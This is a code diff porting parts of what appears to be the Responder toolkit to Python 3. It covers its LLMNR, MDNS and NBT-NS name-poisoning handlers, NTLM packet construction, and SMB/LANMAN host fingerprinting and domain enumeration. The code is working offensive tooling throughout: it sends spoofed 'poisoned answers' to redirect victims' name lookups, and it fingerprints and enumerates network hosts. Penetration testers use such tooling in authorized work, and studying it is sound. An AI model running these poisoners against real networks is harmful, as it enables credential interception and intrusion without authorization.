self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3)
|
self.fields["ASNLen01"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+3)
|
||||||
self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6)
|
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+6)
|
||||||
self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9)
|
self.fields["MessageIDASNLen2"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+9)
|
||||||
self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12)
|
self.fields["ParserHeadASNLen1"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+12)
|
||||||
self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20)
|
self.fields["PacketStartASNStr"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+20)
|
||||||
|
|
||||||
##### Workstation Offset Calculation:
|
##### Workstation Offset Calculation:
|
||||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
|
||||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
##### IvPairs Offset Calculation:
|
##### IvPairs Offset Calculation:
|
||||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
##### IvPair Calculation:
|
##### IvPair Calculation:
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -14,22 +14,32 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
|
||||||
import fingerprint
|
|
||||||
|
|
||||||
|
import fingerprint
|
||||||
from packets import LLMNR_Ans
|
from packets import LLMNR_Ans
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def Parse_LLMNR_Name(data):
|
def Parse_LLMNR_Name(data):
|
||||||
NameLen = struct.unpack('>B',data[12])[0]
|
import codecs
|
||||||
|
NameLen = data[12]
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
return data[13:13+NameLen]
|
return data[13:13+NameLen]
|
||||||
|
else:
|
||||||
|
NameLen2 = int(codecs.encode(NameLen, 'hex'), 16)
|
||||||
|
return data[13:13+int(NameLen2)]
|
||||||
|
|
||||||
def IsICMPRedirectPlausible(IP):
|
def IsICMPRedirectPlausible(IP):
|
||||||
dnsip = []
|
dnsip = []
|
||||||
for line in file('/etc/resolv.conf', 'r'):
|
with open('/etc/resolv.conf', 'r') as file:
|
||||||
|
for line in file:
|
||||||
ip = line.split()
|
ip = line.split()
|
||||||
if len(ip) < 2:
|
if len(ip) < 2:
|
||||||
continue
|
continue
|
||||||
|
@ -37,9 +47,9 @@ def IsICMPRedirectPlausible(IP):
|
||||||
dnsip.extend(ip[1:])
|
dnsip.extend(ip[1:])
|
||||||
for x in dnsip:
|
for x in dnsip:
|
||||||
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
|
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
|
||||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
|
print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
|
||||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
|
print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
|
||||||
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
|
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
IsICMPRedirectPlausible(settings.Config.Bind_To)
|
IsICMPRedirectPlausible(settings.Config.Bind_To)
|
||||||
|
@ -47,21 +57,20 @@ if settings.Config.AnalyzeMode:
|
||||||
|
|
||||||
class LLMNR(BaseRequestHandler): # LLMNR Server class
|
class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
Name = Parse_LLMNR_Name(data)
|
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||||
return None
|
return None
|
||||||
|
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
|
||||||
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
|
|
||||||
Finger = None
|
Finger = None
|
||||||
if settings.Config.Finger_On_Off:
|
if settings.Config.Finger_On_Off:
|
||||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
LineHeader = "[Analyze mode: LLMNR]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR',
|
'Poisoner': 'LLMNR',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
@ -69,11 +78,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
'AnalyzeMode': '1',
|
'AnalyzeMode': '1',
|
||||||
})
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||||
Buffer.calculate()
|
Buffer1.calculate()
|
||||||
soc.sendto(str(Buffer), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR',
|
'Poisoner': 'LLMNR',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
@ -81,5 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
|
|
@ -15,25 +15,38 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
|
import sys
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import MDNS_Ans
|
from packets import MDNS_Ans
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
def Parse_MDNS_Name(data):
|
def Parse_MDNS_Name(data):
|
||||||
try:
|
try:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
data = data[12:]
|
data = data[12:]
|
||||||
|
NameLen = data[0]
|
||||||
|
Name = data[1:1+NameLen]
|
||||||
|
NameLen_ = data[1+NameLen]
|
||||||
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
|
FinalName = Name+b'.'+Name_
|
||||||
|
return FinalName.decode("latin-1")
|
||||||
|
else:
|
||||||
|
data = NetworkRecvBufferPython2or3(data[12:])
|
||||||
NameLen = struct.unpack('>B',data[0])[0]
|
NameLen = struct.unpack('>B',data[0])[0]
|
||||||
Name = data[1:1+NameLen]
|
Name = data[1:1+NameLen]
|
||||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
return Name+'.'+Name_
|
return Name+'.'+Name_
|
||||||
|
|
||||||
except IndexError:
|
except IndexError:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def Poisoned_MDNS_Name(data):
|
def Poisoned_MDNS_Name(data):
|
||||||
data = data[12:]
|
data = NetworkRecvBufferPython2or3(data[12:])
|
||||||
return data[:len(data)-5]
|
return data[:len(data)-5]
|
||||||
|
|
||||||
class MDNS(BaseRequestHandler):
|
class MDNS(BaseRequestHandler):
|
||||||
|
@ -50,7 +63,7 @@ class MDNS(BaseRequestHandler):
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'MDNS',
|
'Poisoner': 'MDNS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
@ -63,9 +76,9 @@ class MDNS(BaseRequestHandler):
|
||||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
|
||||||
|
|
||||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'MDNS',
|
'Poisoner': 'MDNS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
|
|
@ -15,22 +15,27 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import fingerprint
|
import fingerprint
|
||||||
|
import sys
|
||||||
from packets import NBT_Ans
|
from packets import NBT_Ans
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
# Define what are we answering to.
|
# Define what are we answering to.
|
||||||
def Validate_NBT_NS(data):
|
def Validate_NBT_NS(data):
|
||||||
|
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
return False
|
return False
|
||||||
elif NBT_NS_Role(data[43:46]) == "File Server":
|
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
|
||||||
return True
|
return True
|
||||||
elif settings.Config.NBTNSDomain:
|
elif settings.Config.NBTNSDomain:
|
||||||
if NBT_NS_Role(data[43:46]) == "Domain Controller":
|
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
|
||||||
return True
|
return True
|
||||||
elif settings.Config.Wredirect:
|
elif settings.Config.Wredirect:
|
||||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
|
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -40,20 +45,19 @@ class NBTNS(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
|
||||||
data, socket = self.request
|
data, socket = self.request
|
||||||
Name = Decode_Name(data[13:45])
|
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if data[2:4] == "\x01\x10":
|
if data[2:4] == b'\x01\x10':
|
||||||
Finger = None
|
Finger = None
|
||||||
if settings.Config.Finger_On_Off:
|
if settings.Config.Finger_On_Off:
|
||||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
LineHeader = "[Analyze mode: NBT-NS]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
@ -61,13 +65,11 @@ class NBTNS(BaseRequestHandler):
|
||||||
'AnalyzeMode': '1',
|
'AnalyzeMode': '1',
|
||||||
})
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = NBT_Ans()
|
Buffer1 = NBT_Ans()
|
||||||
Buffer.calculate(data)
|
Buffer1.calculate(data)
|
||||||
socket.sendto(str(Buffer), self.client_address)
|
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [NBT-NS]"
|
LineHeader = "[*] [NBT-NS]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
|
||||||
|
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
|
@ -76,5 +78,5 @@ class NBTNS(BaseRequestHandler):
|
||||||
})
|
})
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||||
|
|
|
@ -14,40 +14,43 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
import struct
|
import struct
|
||||||
|
|
||||||
|
|
||||||
def WorkstationFingerPrint(data):
|
def WorkstationFingerPrint(data):
|
||||||
return {
|
return {
|
||||||
"\x04\x00" :"Windows 95",
|
b"\x04\x00" :"Windows 95",
|
||||||
"\x04\x0A" :"Windows 98",
|
b"\x04\x0A" :"Windows 98",
|
||||||
"\x04\x5A" :"Windows ME",
|
b"\x04\x5A" :"Windows ME",
|
||||||
"\x05\x00" :"Windows 2000",
|
b"\x05\x00" :"Windows 2000",
|
||||||
"\x05\x01" :"Windows XP",
|
b"\x05\x01" :"Windows XP",
|
||||||
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
|
b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
|
||||||
"\x06\x00" :"Windows Vista/Server 2008",
|
b"\x06\x00" :"Windows Vista/Server 2008",
|
||||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
b"\x06\x01" :"Windows 7/Server 2008R2",
|
||||||
"\x06\x02" :"Windows 8/Server 2012",
|
b"\x06\x02" :"Windows 8/Server 2012",
|
||||||
"\x06\x03" :"Windows 8.1/Server 2012R2",
|
b"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||||
"\x0A\x00" :"Windows 10/Server 2016",
|
b"\x0A\x00" :"Windows 10/Server 2016",
|
||||||
}.get(data, 'Unknown')
|
}.get(data, 'Unknown')
|
||||||
|
|
||||||
|
|
||||||
def RequestType(data):
|
def RequestType(data):
|
||||||
return {
|
return {
|
||||||
"\x01": 'Host Announcement',
|
b"\x01": 'Host Announcement',
|
||||||
"\x02": 'Request Announcement',
|
b"\x02": 'Request Announcement',
|
||||||
"\x08": 'Browser Election',
|
b"\x08": 'Browser Election',
|
||||||
"\x09": 'Get Backup List Request',
|
b"\x09": 'Get Backup List Request',
|
||||||
"\x0a": 'Get Backup List Response',
|
b"\x0a": 'Get Backup List Response',
|
||||||
"\x0b": 'Become Backup Browser',
|
b"\x0b": 'Become Backup Browser',
|
||||||
"\x0c": 'Domain/Workgroup Announcement',
|
b"\x0c": 'Domain/Workgroup Announcement',
|
||||||
"\x0d": 'Master Announcement',
|
b"\x0d": 'Master Announcement',
|
||||||
"\x0e": 'Reset Browser State Announcement',
|
b"\x0e": 'Reset Browser State Announcement',
|
||||||
"\x0f": 'Local Master Announcement',
|
b"\x0f": 'Local Master Announcement',
|
||||||
}.get(data, 'Unknown')
|
}.get(data, 'Unknown')
|
||||||
|
|
||||||
|
|
||||||
|
@ -55,13 +58,13 @@ def PrintServerName(data, entries):
|
||||||
if entries <= 0:
|
if entries <= 0:
|
||||||
return None
|
return None
|
||||||
entrieslen = 26 * entries
|
entrieslen = 26 * entries
|
||||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
chunks, chunk_size = len(data[:entrieslen]), entrieslen//entries
|
||||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||||
|
|
||||||
l = []
|
l = []
|
||||||
for x in ServerName:
|
for x in ServerName:
|
||||||
fingerprint = WorkstationFingerPrint(x[16:18])
|
fingerprint = WorkstationFingerPrint(x[16:18])
|
||||||
name = x[:16].replace('\x00', '')
|
name = x[:16].strip(b'\x00').decode('latin-1')
|
||||||
l.append('%s (%s)' % (name, fingerprint))
|
l.append('%s (%s)' % (name, fingerprint))
|
||||||
return l
|
return l
|
||||||
|
|
||||||
|
@ -70,24 +73,24 @@ def ParsePacket(Payload):
|
||||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||||
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
||||||
|
|
||||||
if StatusCode == "\x00\x00":
|
if StatusCode == b'\x00\x00':
|
||||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||||
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||||
return None
|
return ''
|
||||||
|
|
||||||
|
|
||||||
def RAPThisDomain(Client,Domain):
|
def RAPThisDomain(Client,Domain):
|
||||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||||
if PDC is not None:
|
if PDC is not None:
|
||||||
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
print(text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)))
|
||||||
|
|
||||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||||
if SQL is not None:
|
if SQL is not None:
|
||||||
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
print(text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))))
|
||||||
|
|
||||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||||
if WKST is not None:
|
if WKST is not None:
|
||||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
print(text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))))
|
||||||
|
|
||||||
|
|
||||||
def RapFinger(Host, Domain, Type):
|
def RapFinger(Host, Domain, Type):
|
||||||
|
@ -101,49 +104,49 @@ def RapFinger(Host, Domain, Type):
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
Packet = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)#struct.pack(">i", len(''.join(Packet))) + Packet
|
||||||
|
|
||||||
s.send(Buffer)
|
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
|
|
||||||
# Session Setup AndX Request, Anonymous.
|
# Session Setup AndX Request, Anonymous.
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == b'\x72\x00':
|
||||||
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
|
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
|
||||||
Body = SMBSessionData()
|
Body = SMBSessionData()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
Packet = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
|
|
||||||
s.send(Buffer)
|
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
|
|
||||||
# Tree Connect IPC$.
|
# Tree Connect IPC$.
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == b'\x73\x00':
|
||||||
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
|
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34].decode('latin-1'),mid="\x03\x00")
|
||||||
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
Packet = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
|
|
||||||
s.send(Buffer)
|
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
|
|
||||||
# Rap ServerEnum.
|
# Rap ServerEnum.
|
||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == b'\x75\x00':
|
||||||
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
|
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x04\x00")
|
||||||
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
